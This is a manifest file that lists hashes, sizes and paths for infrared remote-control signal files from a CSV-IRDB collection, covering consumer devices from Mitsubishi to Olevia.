+F:086779472ff6d98f540cb1b70726540b:2664:infrared/_CSV-IRDB_/Mitsubishi/HDTV Receiver/12,251.ir +F:f00c4c0a7af7b817d28e5fb4b00ac239:213:infrared/_CSV-IRDB_/Mitsubishi/HDTV Receiver/71,-1.ir +F:1ada10093f2fe45604a9320767c21ac9:9460:infrared/_CSV-IRDB_/Mitsubishi/Laser Disc/168,-1.ir +F:0b6022abc51c37cb4f2d24ce93762ea2:213:infrared/_CSV-IRDB_/Mitsubishi/Laser Disc/175,-1.ir +F:0ba78d6128c863faeda0048f06324605:2028:infrared/_CSV-IRDB_/Mitsubishi/Monitor/1,-1.ir +F:aa53c03b43c9fc9eb12ef17f218c5c06:428:infrared/_CSV-IRDB_/Mitsubishi/Monitor/119,-1.ir +F:55d6f5ffc1bbf5e3e23d5ad165547fb8:3155:infrared/_CSV-IRDB_/Mitsubishi/Monitor/130,100.ir +F:24785965f5fd6259dc5f025ef4d8da22:132:infrared/_CSV-IRDB_/Mitsubishi/Monitor/2,-1.ir +F:b4e6654ea60a779aec8537c5629845f1:2595:infrared/_CSV-IRDB_/Mitsubishi/Monitor/4,-1.ir +F:87ff78cd4244a112d75fa281bbf38ef1:19816:infrared/_CSV-IRDB_/Mitsubishi/Monitor/71,-1.ir +F:023378839676e87cf621c578c07b8ed8:16530:infrared/_CSV-IRDB_/Mitsubishi/Monitor/87,-1.ir +F:8101be67c9b623042d9e8c3fb8adc497:14161:infrared/_CSV-IRDB_/Mitsubishi/Receiver/119,-1.ir +F:69b606d3210df9d594b4dde5ad765b1c:2685:infrared/_CSV-IRDB_/Mitsubishi/Receiver/168,-1.ir +F:56d2337eead43097a88619327ac9cac2:2878:infrared/_CSV-IRDB_/Mitsubishi/Receiver/71,-1.ir +F:120312b9554fadaa4e1b81b519b0c8f4:7882:infrared/_CSV-IRDB_/Mitsubishi/Receiver/87,-1.ir +F:99a03ba858c25bad09112e1e75dd2ff0:2619:infrared/_CSV-IRDB_/Mitsubishi/Satellite/12,251.ir +F:3bf411988247ce4411af5fb19bfeb00c:1858:infrared/_CSV-IRDB_/Mitsubishi/TV/1,-1.ir +F:05fbc993f3888cf6ce3688d355b594ba:239:infrared/_CSV-IRDB_/Mitsubishi/TV/119,-1.ir +F:10a8b0272c0b28582b34f5e5ef0c3745:17028:infrared/_CSV-IRDB_/Mitsubishi/TV/71,-1.ir +F:7d559d7119e8beeae757a59d6034bd6b:1211:infrared/_CSV-IRDB_/Mitsubishi/TV/87,-1.ir +F:d362fa913c884e0b905ddcdc2ba13c5a:3302:infrared/_CSV-IRDB_/Mitsubishi/Unknown/119,-1.ir +F:34518c557db2ff99eecaf6fcaf49ea43:10371:infrared/_CSV-IRDB_/Mitsubishi/Unknown/71,-1.ir +F:0f02023d5fe793a70d9f9f8b45314acb:22605:infrared/_CSV-IRDB_/Mitsubishi/Unknown/87,-1.ir +F:24a6f10017fe493b83c0b9baf69d22bc:3165:infrared/_CSV-IRDB_/Mitsubishi/Unknown_75501/87,-1.ir +F:2360b2631c8256e4399eb2f0d7f8422a:2364:infrared/_CSV-IRDB_/Mitsubishi/Unknown_HD1000/240,-1.ir +F:b6cf98f49f795037a936f973302f1384:2374:infrared/_CSV-IRDB_/Mitsubishi/Unknown_HS-349/87,-1.ir +F:93e18aa5fc9875fb2614ce78b7be7c0a:2215:infrared/_CSV-IRDB_/Mitsubishi/Unknown_mitsubishi/71,-1.ir +F:143d4494a2eaade3060ba497fe38e4f1:5895:infrared/_CSV-IRDB_/Mitsubishi/Unknown_tv/71,-1.ir +F:8c8073d6143e5285314cd24ed74e7d39:416:infrared/_CSV-IRDB_/Mitsubishi/VCR/119,-1.ir +F:e1c900edd9eb735489b258136ba5a4f1:126:infrared/_CSV-IRDB_/Mitsubishi/VCR/23,-1.ir +F:e30d4915021b97e99aea9f81ed95d61c:2116:infrared/_CSV-IRDB_/Mitsubishi/VCR/3,-1.ir +F:7500dad6b152a9e4871695d1f452a0b7:1043:infrared/_CSV-IRDB_/Mitsubishi/VCR/7,-1.ir +F:7ef477ff6bb9b389e2e0f6bacbb9f01f:6687:infrared/_CSV-IRDB_/Mitsubishi/VCR/71,-1.ir +F:2c1013511905385d56b281875a408833:47453:infrared/_CSV-IRDB_/Mitsubishi/VCR/87,-1.ir +F:fd7ed627eedc113f90feaa2651899e02:3047:infrared/_CSV-IRDB_/Mitsubishi/Video Projector/71,-1.ir +D:infrared/_CSV-IRDB_/Monoprice/Unknown_HDX(C)-501E +F:8bcd72649fcd3766616d4fd8cfb2c89d:786:infrared/_CSV-IRDB_/Monoprice/Unknown_HDX(C)-501E/0,-1.ir +D:infrared/_CSV-IRDB_/Morgans Daytona/Unknown_T15 +D:infrared/_CSV-IRDB_/Morgans Daytona/Unknown_Tornado +F:d55db05bfaff9b88ce15919957a18e0f:2080:infrared/_CSV-IRDB_/Morgans Daytona/Unknown_T15/128,38.ir +F:56ea97af124b722a59eb8192dd390d3a:1986:infrared/_CSV-IRDB_/Morgans Daytona/Unknown_Tornado/202,165.ir +D:infrared/_CSV-IRDB_/Motorola/Cable Box +D:infrared/_CSV-IRDB_/Motorola/Cox +D:infrared/_CSV-IRDB_/Motorola/DSS +D:infrared/_CSV-IRDB_/Motorola/DVR +D:infrared/_CSV-IRDB_/Motorola/IP box +D:infrared/_CSV-IRDB_/Motorola/Remote +D:infrared/_CSV-IRDB_/Motorola/Unknown_4dtv +D:infrared/_CSV-IRDB_/Motorola/Unknown_Cable +D:infrared/_CSV-IRDB_/Motorola/Unknown_DCH3416 +D:infrared/_CSV-IRDB_/Motorola/Unknown_DCT2000 +D:infrared/_CSV-IRDB_/Motorola/Unknown_DCT2244 +D:infrared/_CSV-IRDB_/Motorola/Unknown_DCT2524 +D:infrared/_CSV-IRDB_/Motorola/Unknown_DRC800 +D:infrared/_CSV-IRDB_/Motorola/Unknown_DTH320-4 +D:infrared/_CSV-IRDB_/Motorola/Unknown_DTH355 +D:infrared/_CSV-IRDB_/Motorola/Unknown_DVi2030 +D:infrared/_CSV-IRDB_/Motorola/Unknown_MOTOROLA +D:infrared/_CSV-IRDB_/Motorola/Unknown_QIP2500 +D:infrared/_CSV-IRDB_/Motorola/Unknown_RC1445302-00B-REV2 +D:infrared/_CSV-IRDB_/Motorola/Unknown_VIP +F:0db342f481d8d12324f86b1050f4f5f2:24623:infrared/_CSV-IRDB_/Motorola/Cable Box/0,-1.ir +F:9892dd785d5906e5d4c8d167fc517504:501:infrared/_CSV-IRDB_/Motorola/Cable Box/1,-1.ir +F:4a5f4e6216ce260430f3a0934605e7c4:320:infrared/_CSV-IRDB_/Motorola/Cable Box/15,-1.ir +F:fe90ac535cc4d494f539269806ca8b71:412:infrared/_CSV-IRDB_/Motorola/Cable Box/170,-1.ir +F:55839167ea5d0f398accb17ed97a4e4f:3623:infrared/_CSV-IRDB_/Motorola/Cable Box/18,0.ir +F:5b82b393a4ce09ca1742749425047494:126:infrared/_CSV-IRDB_/Motorola/Cable Box/3,-1.ir +F:25db53ed960584c5c8e0a19540f72972:412:infrared/_CSV-IRDB_/Motorola/Cable Box/4,-1.ir +F:b34ec9fc1ed64713d4aa11e97172c5e1:338:infrared/_CSV-IRDB_/Motorola/Cable Box/5,-1.ir +F:bca76ffdb07f3b9ec847f041b6545346:320:infrared/_CSV-IRDB_/Motorola/Cable Box/5,1.ir +F:62f46fed24b8911d64331b757cbcfc0c:320:infrared/_CSV-IRDB_/Motorola/Cable Box/64,-1.ir +F:837571950e4eb54c61559ec16a63eb89:129:infrared/_CSV-IRDB_/Motorola/Cable Box/68,-1.ir +F:a1fc9f5e2705b7a262a35c1c5bd63718:131:infrared/_CSV-IRDB_/Motorola/Cable Box/9,-1.ir +F:97269d62a10aa9fc66b1e021e1e642cc:5205:infrared/_CSV-IRDB_/Motorola/Cox/0,-1.ir +F:62f46fed24b8911d64331b757cbcfc0c:320:infrared/_CSV-IRDB_/Motorola/Cox/64,-1.ir +F:e0c896752375f04d14ef928791350518:131:infrared/_CSV-IRDB_/Motorola/DSS/1,-1.ir +F:4db04f88e8e474b890934e51df542787:4233:infrared/_CSV-IRDB_/Motorola/DVR/0,-1.ir +F:ced0b03ec02c405a2818f338473842c3:3776:infrared/_CSV-IRDB_/Motorola/IP box/16,0.ir +F:cd46a22b920ef20e48ab3bf3726c5ccd:4881:infrared/_CSV-IRDB_/Motorola/Remote/0,-1.ir +F:5b82b393a4ce09ca1742749425047494:126:infrared/_CSV-IRDB_/Motorola/Remote/3,-1.ir +F:c119d2e36de4739fd1c1c692b04a4baa:2874:infrared/_CSV-IRDB_/Motorola/Unknown_4dtv/0,-1.ir +F:363dcf1e905b301670507576e5a7bf34:3429:infrared/_CSV-IRDB_/Motorola/Unknown_Cable/0,-1.ir +F:e95de6b893e44a05a8707d48d08127d1:3273:infrared/_CSV-IRDB_/Motorola/Unknown_DCH3416/0,-1.ir +F:dc773f2078d2a9b009b581a7d1952a37:3921:infrared/_CSV-IRDB_/Motorola/Unknown_DCT2000/0,-1.ir +F:6243e83c19df0f13675a192a34530c6a:959:infrared/_CSV-IRDB_/Motorola/Unknown_DCT2244/0,-1.ir +F:c0cf927058e25d547b21353ebbc872c8:4327:infrared/_CSV-IRDB_/Motorola/Unknown_DCT2524/0,-1.ir +F:8a365b20b46496fbef622665bf38b05a:5068:infrared/_CSV-IRDB_/Motorola/Unknown_DRC800/0,-1.ir +F:f15e46f49bb4940e2e1cf1d19f13ee43:2979:infrared/_CSV-IRDB_/Motorola/Unknown_DTH320-4/134,47.ir +F:f15e46f49bb4940e2e1cf1d19f13ee43:2979:infrared/_CSV-IRDB_/Motorola/Unknown_DTH355/134,47.ir +F:d3d89ead193a914e3af01de8b2139357:3157:infrared/_CSV-IRDB_/Motorola/Unknown_DVi2030/0,-1.ir +F:0802b2d63f0bbe9100c152e694314e57:4210:infrared/_CSV-IRDB_/Motorola/Unknown_MOTOROLA/0,-1.ir +F:db13d6776030dd473201c2ff84f73a6c:5414:infrared/_CSV-IRDB_/Motorola/Unknown_QIP2500/0,-1.ir +F:f2b9e564d1c3fceee3b87bbb77867099:7010:infrared/_CSV-IRDB_/Motorola/Unknown_RC1445302-00B-REV2/0,-1.ir +F:cf799868916b50658e280c92d15b6524:3913:infrared/_CSV-IRDB_/Motorola/Unknown_VIP/35,64.ir +D:infrared/_CSV-IRDB_/Multi Canal/Unknown_Canal +F:829f1a802ec54a95a7a0db84a16b7bad:1652:infrared/_CSV-IRDB_/Multi Canal/Unknown_Canal/133,123.ir +D:infrared/_CSV-IRDB_/Multichoice/Unknown_DSD910 +F:13d1c0ca1e29e5c5cf24fd5a9e802ced:3063:infrared/_CSV-IRDB_/Multichoice/Unknown_DSD910/24,-1.ir +D:infrared/_CSV-IRDB_/Mustek/Unknown_DVD +D:infrared/_CSV-IRDB_/Mustek/Unknown_MustekDVD +D:infrared/_CSV-IRDB_/Mustek/Unknown_RMC-V300 +F:88e9e9f354442609a041c9f6b0ac4f04:4671:infrared/_CSV-IRDB_/Mustek/Unknown_DVD/16,237.ir +F:cc658f2b79ab05fe724d707fd6c19720:4592:infrared/_CSV-IRDB_/Mustek/Unknown_MustekDVD/16,237.ir +F:f8aacbb788c0ec2ea3e5f8a5635cf484:4556:infrared/_CSV-IRDB_/Mustek/Unknown_RMC-V300/16,237.ir +D:infrared/_CSV-IRDB_/Mvision/Unknown_FCIS7000E+ +F:56ab6fccc1d682b28a1d7755f9b050e4:3841:infrared/_CSV-IRDB_/Mvision/Unknown_FCIS7000E+/64,64.ir +D:infrared/_CSV-IRDB_/Myryad/Pre-Amplifier +D:infrared/_CSV-IRDB_/Myryad/Receiver +F:36a24edf66254df03b2d8635efdf9034:131:infrared/_CSV-IRDB_/Myryad/Pre-Amplifier/0,-1.ir +F:438c32a8b0dac4609b0d1124af8352cc:414:infrared/_CSV-IRDB_/Myryad/Pre-Amplifier/16,-1.ir +F:97250dd02d1073078d9f45865f80ff42:131:infrared/_CSV-IRDB_/Myryad/Pre-Amplifier/17,-1.ir +F:823fc0c758272e48300fa470b3371248:132:infrared/_CSV-IRDB_/Myryad/Pre-Amplifier/18,-1.ir +F:1e9cfb2c46dfe6d70ad1b26fb5ce464b:128:infrared/_CSV-IRDB_/Myryad/Pre-Amplifier/20,-1.ir +F:cf6f1b4d25f06ab2de5d98ce0b2787da:129:infrared/_CSV-IRDB_/Myryad/Pre-Amplifier/21,-1.ir +F:4f948796b0bcff6ed25701b01eaec7dc:132:infrared/_CSV-IRDB_/Myryad/Pre-Amplifier/23,-1.ir +F:36a24edf66254df03b2d8635efdf9034:131:infrared/_CSV-IRDB_/Myryad/Receiver/0,-1.ir +F:438c32a8b0dac4609b0d1124af8352cc:414:infrared/_CSV-IRDB_/Myryad/Receiver/16,-1.ir +F:17d8b440e9175a2d113e94bf524a8483:779:infrared/_CSV-IRDB_/Myryad/Receiver/17,-1.ir +F:823fc0c758272e48300fa470b3371248:132:infrared/_CSV-IRDB_/Myryad/Receiver/18,-1.ir +F:90b178683ec3f794301b51f40585054e:1838:infrared/_CSV-IRDB_/Myryad/Receiver/20,-1.ir +F:cf6f1b4d25f06ab2de5d98ce0b2787da:129:infrared/_CSV-IRDB_/Myryad/Receiver/21,-1.ir +F:4f948796b0bcff6ed25701b01eaec7dc:132:infrared/_CSV-IRDB_/Myryad/Receiver/23,-1.ir +D:infrared/_CSV-IRDB_/NAD/Amplifier +D:infrared/_CSV-IRDB_/NAD/CD Player +D:infrared/_CSV-IRDB_/NAD/Cassette Tape +D:infrared/_CSV-IRDB_/NAD/Monitor +D:infrared/_CSV-IRDB_/NAD/Receiver +D:infrared/_CSV-IRDB_/NAD/Surround Processor +D:infrared/_CSV-IRDB_/NAD/Tuner +D:infrared/_CSV-IRDB_/NAD/Unknown +D:infrared/_CSV-IRDB_/NAD/Unknown_451 +D:infrared/_CSV-IRDB_/NAD/Unknown_NAD +D:infrared/_CSV-IRDB_/NAD/Unknown_RC512 +D:infrared/_CSV-IRDB_/NAD/Unknown_SR6 +D:infrared/_CSV-IRDB_/NAD/Unknown_SR712 +F:93c02cd27b9c7a04bbf0d396a94132d3:3282:infrared/_CSV-IRDB_/NAD/Amplifier/135,124.ir +F:7f444f07ab8ab6e674bb61fd8a53863f:1401:infrared/_CSV-IRDB_/NAD/CD Player/133,111.ir +F:69903717d1484c2a273147bdae6b66fe:2774:infrared/_CSV-IRDB_/NAD/CD Player/135,124.ir +F:d8733f04895a8bbf0320d52f55513e73:3052:infrared/_CSV-IRDB_/NAD/CD Player/42,-1.ir +F:e695a48b2b97c8df23aff575c7aca086:1153:infrared/_CSV-IRDB_/NAD/Cassette Tape/135,124.ir +F:af3b58126e0c96f3d13ba37c06bf125c:2588:infrared/_CSV-IRDB_/NAD/Monitor/64,-1.ir +F:036fcf71babadd79bbfdd51e525b6236:5509:infrared/_CSV-IRDB_/NAD/Receiver/135,124.ir +F:2e2186ec8ced0f9c1071c12041adc827:3830:infrared/_CSV-IRDB_/NAD/Surround Processor/135,124.ir +F:828f16e0d47913882fa359d2010bc43e:213:infrared/_CSV-IRDB_/NAD/Surround Processor/93,-1.ir +F:8646367690dcbb4520cf882083d49d22:3934:infrared/_CSV-IRDB_/NAD/Tuner/135,124.ir +F:04b129aed5728fe0cfa9aaf482241b5e:5738:infrared/_CSV-IRDB_/NAD/Unknown/135,124.ir +F:40b1901c07b356f100b3e290a507ee01:3953:infrared/_CSV-IRDB_/NAD/Unknown_451/135,124.ir +F:2a13401c2dd7226724184718fede20f3:711:infrared/_CSV-IRDB_/NAD/Unknown_NAD/17,-1.ir +F:5c2b69be309b9ebf3bc748776dc3eff8:2012:infrared/_CSV-IRDB_/NAD/Unknown_RC512/135,124.ir +F:74ca008043cf79e9adec4768b466f478:5830:infrared/_CSV-IRDB_/NAD/Unknown_SR6/135,124.ir +F:c725fabc1faa0a808834508a256d2b7e:3765:infrared/_CSV-IRDB_/NAD/Unknown_SR712/135,124.ir +D:infrared/_CSV-IRDB_/NEC/Monitor +D:infrared/_CSV-IRDB_/NEC/Receiver +D:infrared/_CSV-IRDB_/NEC/Surround Processor +D:infrared/_CSV-IRDB_/NEC/TV +D:infrared/_CSV-IRDB_/NEC/Unknown +D:infrared/_CSV-IRDB_/NEC/Unknown_RB-34P +D:infrared/_CSV-IRDB_/NEC/Unknown_RB-73A +D:infrared/_CSV-IRDB_/NEC/Unknown_RB-D3A +D:infrared/_CSV-IRDB_/NEC/Unknown_RB-DV22 +D:infrared/_CSV-IRDB_/NEC/Unknown_RC-1065E +D:infrared/_CSV-IRDB_/NEC/Unknown_RC-1083E +D:infrared/_CSV-IRDB_/NEC/Unknown_RC-334E +D:infrared/_CSV-IRDB_/NEC/Unknown_RC-6010 +D:infrared/_CSV-IRDB_/NEC/Unknown_RD-1077E +D:infrared/_CSV-IRDB_/NEC/Unknown_RD-1078E +D:infrared/_CSV-IRDB_/NEC/Unknown_RD-1083E +D:infrared/_CSV-IRDB_/NEC/Unknown_RD-337E +D:infrared/_CSV-IRDB_/NEC/Unknown_RD-343E +D:infrared/_CSV-IRDB_/NEC/Unknown_RD-348E +D:infrared/_CSV-IRDB_/NEC/Unknown_RD-409E +D:infrared/_CSV-IRDB_/NEC/Unknown_RD-427E +D:infrared/_CSV-IRDB_/NEC/Unknown_RU-1220S +D:infrared/_CSV-IRDB_/NEC/Unknown_TRB-60 +D:infrared/_CSV-IRDB_/NEC/Unknown_TRB-968A +D:infrared/_CSV-IRDB_/NEC/Unknown_UR-3020 +D:infrared/_CSV-IRDB_/NEC/VCR +D:infrared/_CSV-IRDB_/NEC/Video Projector +F:e4a8bccc099ee03d76e6c236bc7eabb0:2506:infrared/_CSV-IRDB_/NEC/Monitor/25,-1.ir +F:622902503665c2b14b60b7c09c03f94f:1915:infrared/_CSV-IRDB_/NEC/Monitor/4,-1.ir +F:8220330c86b37d959038745225124832:719:infrared/_CSV-IRDB_/NEC/Receiver/25,-1.ir +F:f9af78206a5a8aaa1c0490721bc7f913:524:infrared/_CSV-IRDB_/NEC/Receiver/26,-1.ir +F:f1b328fbf98eced59681844504d88030:1099:infrared/_CSV-IRDB_/NEC/Receiver/26,197.ir +F:32855424bcc5f0d2c4d9e541d5037d17:979:infrared/_CSV-IRDB_/NEC/Receiver/26,225.ir +F:913f806a17614a0d57eb05a876568de0:2347:infrared/_CSV-IRDB_/NEC/Receiver/26,228.ir +F:0a707e44333b4ada577832d3170ec890:629:infrared/_CSV-IRDB_/NEC/Receiver/26,231.ir +F:7f3780e6874f5b270985345e78f324ed:1044:infrared/_CSV-IRDB_/NEC/Receiver/4,-1.ir +F:263a3459753802a33ca91fc4625dfca5:7971:infrared/_CSV-IRDB_/NEC/Surround Processor/13,-1.ir +F:4953789fe617cf89772d8c2916bd509d:2364:infrared/_CSV-IRDB_/NEC/Surround Processor/26,228.ir +F:c81984abc263b5ec7c5d9c7ef6439e8c:886:infrared/_CSV-IRDB_/NEC/TV/24,-1.ir +F:724a588f66914425fbd402018d5ddaac:1065:infrared/_CSV-IRDB_/NEC/TV/24,24.ir +F:8c60f99f4d50e46067f6aea8c0ca1241:2224:infrared/_CSV-IRDB_/NEC/TV/4,-1.ir +F:45095bd71fafec8c524ad69bcac9e05b:3151:infrared/_CSV-IRDB_/NEC/Unknown/25,-1.ir +F:b1c5d0b8fd27bd20201530cc0c4bb91c:3151:infrared/_CSV-IRDB_/NEC/Unknown/25,231.ir +F:40f9ff06fdc8d3bd75df7f5fa1af074e:917:infrared/_CSV-IRDB_/NEC/Unknown_RB-34P/25,-1.ir +F:c111b05576181493e7828ff6b8ab7a68:1203:infrared/_CSV-IRDB_/NEC/Unknown_RB-73A/25,-1.ir +F:44a3d40ed3822532895fc9dd899b953a:3197:infrared/_CSV-IRDB_/NEC/Unknown_RB-D3A/25,-1.ir +F:8de9960471c9fe5f8529e527411016cf:3827:infrared/_CSV-IRDB_/NEC/Unknown_RB-DV22/45,45.ir +F:854fc8dc69a00558e869683460822239:5193:infrared/_CSV-IRDB_/NEC/Unknown_RC-1065E/24,-1.ir +F:4e16bfbcd39b7a0dc2d01f9ad8d94d5d:2402:infrared/_CSV-IRDB_/NEC/Unknown_RC-1083E/24,-1.ir +F:97daa2c4bb2e8fb0c030834844b13f10:1076:infrared/_CSV-IRDB_/NEC/Unknown_RC-334E/24,233.ir +F:b6e23b0c661f0aeff92730a1aa4b0f42:2281:infrared/_CSV-IRDB_/NEC/Unknown_RC-6010/24,247.ir +F:937097b70f1ea5c7f02fec16135fc37e:2306:infrared/_CSV-IRDB_/NEC/Unknown_RD-1077E/24,-1.ir +F:14ab8ad81e99598cd4806b791a1e4fc4:2411:infrared/_CSV-IRDB_/NEC/Unknown_RD-1078E/24,-1.ir +F:bcba9cc1c4f0aad4d57f347cae1ecebc:2414:infrared/_CSV-IRDB_/NEC/Unknown_RD-1083E/24,-1.ir +F:f6dc8de5449b7505b016943da7f1e29b:2879:infrared/_CSV-IRDB_/NEC/Unknown_RD-337E/2,-1.ir +F:a8a58e693d43df1578a47031066fa59f:1277:infrared/_CSV-IRDB_/NEC/Unknown_RD-343E/24,233.ir +F:4d6e9616a422d0fee698cb8440a74130:1666:infrared/_CSV-IRDB_/NEC/Unknown_RD-348E/24,233.ir +F:7622dbd98373cb2a21dc9a72ae028707:2628:infrared/_CSV-IRDB_/NEC/Unknown_RD-409E/24,233.ir +F:6af7fcc874eb7ee68eb55c1ead5bdff0:2733:infrared/_CSV-IRDB_/NEC/Unknown_RD-427E/24,233.ir +F:1e74b9bd936f5a280914b7e50ea26a0b:3145:infrared/_CSV-IRDB_/NEC/Unknown_RU-1220S/24,247.ir +F:8e4a28fa07aac8e929f1c9f0e881072f:3509:infrared/_CSV-IRDB_/NEC/Unknown_TRB-60/49,-1.ir +F:9faec68198189765e9104d6eed426e33:1493:infrared/_CSV-IRDB_/NEC/Unknown_TRB-968A/25,-1.ir +F:fd9b6807e7fd6e28b400cdd045619d1b:3087:infrared/_CSV-IRDB_/NEC/Unknown_UR-3020/24,247.ir +F:33c8b2514a1bc84088698dae3e943139:1455:infrared/_CSV-IRDB_/NEC/VCR/10,-1.ir +F:6e5ed8d70b40ab3f6839decb0d4bb9d8:12905:infrared/_CSV-IRDB_/NEC/VCR/25,-1.ir +F:77a70b919b1fae60fab4532d13d1cc0f:3450:infrared/_CSV-IRDB_/NEC/VCR/4,-1.ir +F:09de3662cb22176881f6923fdd366c47:12382:infrared/_CSV-IRDB_/NEC/Video Projector/24,233.ir +F:aeccd6397b642dc482587126df3042d9:8130:infrared/_CSV-IRDB_/NEC/Video Projector/24,247.ir +D:infrared/_CSV-IRDB_/NET TV/TV +F:c5cf9176ccc84856bbebe7821349dae7:2724:infrared/_CSV-IRDB_/NET TV/TV/2,-1.ir +D:infrared/_CSV-IRDB_/NTL/Unknown_DI4001N +F:de55d527d929bd240c46748fe823473d:3570:infrared/_CSV-IRDB_/NTL/Unknown_DI4001N/10,-1.ir +D:infrared/_CSV-IRDB_/NVIDIA/Unknown_Personal +F:586959bde78314a1cb1f878718bd1818:3272:infrared/_CSV-IRDB_/NVIDIA/Unknown_Personal/128,126.ir +D:infrared/_CSV-IRDB_/Nagra/Unknown_TVA +F:378ebd14715504860c9d14fa2cefccdf:3327:infrared/_CSV-IRDB_/Nagra/Unknown_TVA/8,-1.ir +D:infrared/_CSV-IRDB_/Nakamichi/Amplifier +D:infrared/_CSV-IRDB_/Nakamichi/CD Player +D:infrared/_CSV-IRDB_/Nakamichi/DVD Player +D:infrared/_CSV-IRDB_/Nakamichi/Receiver +D:infrared/_CSV-IRDB_/Nakamichi/Tuner +D:infrared/_CSV-IRDB_/Nakamichi/Unknown_lirc.config +F:d8714d69af16e3e16f536a100df81b6f:8171:infrared/_CSV-IRDB_/Nakamichi/Amplifier/87,-1.ir +F:bac6ed77c079c27bfa36156ef1bfd9ef:11222:infrared/_CSV-IRDB_/Nakamichi/CD Player/103,-1.ir +F:5b1cbd5ad049fbc9f4642cda668fc90f:410:infrared/_CSV-IRDB_/Nakamichi/CD Player/92,-1.ir +F:933047a88aafb4e8db5a011de8b27d09:3420:infrared/_CSV-IRDB_/Nakamichi/DVD Player/92,162.ir +F:18e1fe3c8c3434d234ff850bcd78c1f5:2904:infrared/_CSV-IRDB_/Nakamichi/Receiver/103,-1.ir +F:000bdb40b1133dbbfd8c12090bf508a6:9441:infrared/_CSV-IRDB_/Nakamichi/Receiver/130,93.ir +F:6847af53c979ef7cd736e10cd063f75d:4311:infrared/_CSV-IRDB_/Nakamichi/Receiver/186,-1.ir +F:829ceca4edc44e61413fef1ccf04869f:8656:infrared/_CSV-IRDB_/Nakamichi/Receiver/92,-1.ir +F:50e9497f3a2474775ed481f8219944a4:2306:infrared/_CSV-IRDB_/Nakamichi/Receiver/92,161.ir +F:1dbee76480d993959c5826a935b16044:983:infrared/_CSV-IRDB_/Nakamichi/Tuner/103,-1.ir +F:70003c84d773a9c18dd6fff0f0651455:2254:infrared/_CSV-IRDB_/Nakamichi/Tuner/92,-1.ir +F:fb6fe39e0025cf28cd66115acfdbb2bf:2296:infrared/_CSV-IRDB_/Nakamichi/Unknown_lirc.config/103,-1.ir +D:infrared/_CSV-IRDB_/Napa/Unknown_DAV-309 +F:17f94c8de42c7ab960a2428603b56655:3060:infrared/_CSV-IRDB_/Napa/Unknown_DAV-309/0,-1.ir +D:infrared/_CSV-IRDB_/Nebula Electronics/Unknown_DVB +F:8ee2aa7db02816bf8c7e8a61e071f70d:5249:infrared/_CSV-IRDB_/Nebula Electronics/Unknown_DVB/0,-1.ir +D:infrared/_CSV-IRDB_/Netgem/Unknown_iPlayer +F:59adea4e9c5f9277b8588c33d6a2f1e5:3211:infrared/_CSV-IRDB_/Netgem/Unknown_iPlayer/131,51.ir +D:infrared/_CSV-IRDB_/Nextwave/Unknown_EX300 +F:df5fba371a8ead7195436cba980b17f3:2382:infrared/_CSV-IRDB_/Nextwave/Unknown_EX300/4,16.ir +D:infrared/_CSV-IRDB_/Nikko/Unknown_Nikko +F:d80b25cb51efdd25083cbb725fb49520:1549:infrared/_CSV-IRDB_/Nikko/Unknown_Nikko/5,-1.ir +D:infrared/_CSV-IRDB_/Niles Audio/Unknown +F:7144d803bf3323d3b8e53c056d600070:6416:infrared/_CSV-IRDB_/Niles Audio/Unknown/128,93.ir +F:723b40e2ee267b5c67c984cf9f9b80fe:784:infrared/_CSV-IRDB_/Niles Audio/Unknown/132,18.ir +D:infrared/_CSV-IRDB_/No Brand/Unknown_YK-001 +F:a1351fc8e2ef10b98f0c03f52c8c4b43:2026:infrared/_CSV-IRDB_/No Brand/Unknown_YK-001/0,-1.ir +D:infrared/_CSV-IRDB_/Nokia/Satellite +D:infrared/_CSV-IRDB_/Nokia/Unknown_624 +D:infrared/_CSV-IRDB_/Nokia/Unknown_MM9780S +D:infrared/_CSV-IRDB_/Nokia/Unknown_Nokia +D:infrared/_CSV-IRDB_/Nokia/Unknown_NokiaVC620 +D:infrared/_CSV-IRDB_/Nokia/Unknown_RCN610 +D:infrared/_CSV-IRDB_/Nokia/Unknown_VCN620 +D:infrared/_CSV-IRDB_/Nokia/Unknown_VCR +F:58715430f646e95df08ffaf430c700c5:387:infrared/_CSV-IRDB_/Nokia/Satellite/24,-1.ir +F:842d59f019e0a1272c8ac7c4c119fd68:397:infrared/_CSV-IRDB_/Nokia/Satellite/6,-1.ir +F:91f7ff2b8fb9672987758501ab677297:2488:infrared/_CSV-IRDB_/Nokia/Unknown_624/74,-1.ir +F:01c83b4d97511ccc9fb7b0b22ddff4af:3041:infrared/_CSV-IRDB_/Nokia/Unknown_MM9780S/14,0.ir +F:8de05dc6808aa174dc6027602d59264f:2552:infrared/_CSV-IRDB_/Nokia/Unknown_Nokia/14,0.ir +F:7c6fb0d0e102d99c0aebd883522e91c1:2664:infrared/_CSV-IRDB_/Nokia/Unknown_NokiaVC620/3,-1.ir +F:11125f5def66ecb66ca01591bb874d81:3014:infrared/_CSV-IRDB_/Nokia/Unknown_RCN610/74,-1.ir +F:5ed43d9a7c5f74d70b385471c63363c2:2672:infrared/_CSV-IRDB_/Nokia/Unknown_VCN620/3,-1.ir +F:a08347b7aa9424eb773388a147e8419f:2877:infrared/_CSV-IRDB_/Nokia/Unknown_VCR/137,119.ir +D:infrared/_CSV-IRDB_/Norcent/Unknown_DP +F:21f9b49b3a76a2ae9e9e062fe7de2bfa:4282:infrared/_CSV-IRDB_/Norcent/Unknown_DP/0,-1.ir +D:infrared/_CSV-IRDB_/NorthQ/Unknown_6400 +F:4817aa52263f2e8a5c93def020176974:4221:infrared/_CSV-IRDB_/NorthQ/Unknown_6400/8,-1.ir +D:infrared/_CSV-IRDB_/Novaplex/Cable Box +F:540caa73c69995d80d20400075a5e7fd:2126:infrared/_CSV-IRDB_/Novaplex/Cable Box/27,-1.ir +D:infrared/_CSV-IRDB_/Now Broadband TV/Unknown_Broadband +F:880277839db03c783b9d86cc52370ea7:4198:infrared/_CSV-IRDB_/Now Broadband TV/Unknown_Broadband/128,110.ir +F:fa6ccd6365a7b04d33b8416d9b165b12:4234:infrared/_CSV-IRDB_/Now Broadband TV/Unknown_Broadband/64,64.ir +D:infrared/_CSV-IRDB_/OSRAM/Unknown_OSRAM +F:f39b22710aafe2350cc58e9e8166e3dd:132:infrared/_CSV-IRDB_/OSRAM/Unknown_OSRAM/1,0.ir +D:infrared/_CSV-IRDB_/Olevia/Unknown_RC-LTFN +D:infrared/_CSV-IRDB_/Olevia/Unknown_RC-LTL +F:0b34d5ec8765b706749a5dd25f895fc0:2415:infrared/_CSV-IRDB_/Olevia/Unknown_RC-LTFN/4,-1.ir 